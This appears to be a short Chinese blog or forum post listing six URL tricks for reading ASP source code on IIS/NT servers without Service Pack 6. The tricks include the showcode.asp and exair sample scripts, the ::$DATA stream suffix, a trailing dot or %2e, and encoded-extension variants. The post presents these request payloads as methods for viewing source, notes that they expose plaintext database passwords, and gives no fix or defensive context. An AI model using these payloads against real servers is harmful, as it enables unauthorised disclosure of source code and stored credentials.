| ||||
在没有打Services Pack6补丁的NT server上,至少有6种方法可以看到ASP程序的源代码,它们是: 1、http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/SELECTOR/showcode.asp 2、http://somewhere/something.asp::$DATA 3、http://somewhere/something.asp%2e or http://somewhere/something.asp.(加一个点) 4、http://somewhere/something%2e%41sp 5、http://somewhere/something.asp%81 6、http://somewhere/iissamples/exair/howitworks/code.asp?source=xxx.asp 最大的危害莫过于asp文件可以被上述方式读出;数据库密码以明文形式暴露在黑客眼前; ( x86: 不知道说的对不对,先贴出来给大家看看。) |
偷看ASP原码的6种方法
最新推荐文章于 2024-09-14 19:55:29 发布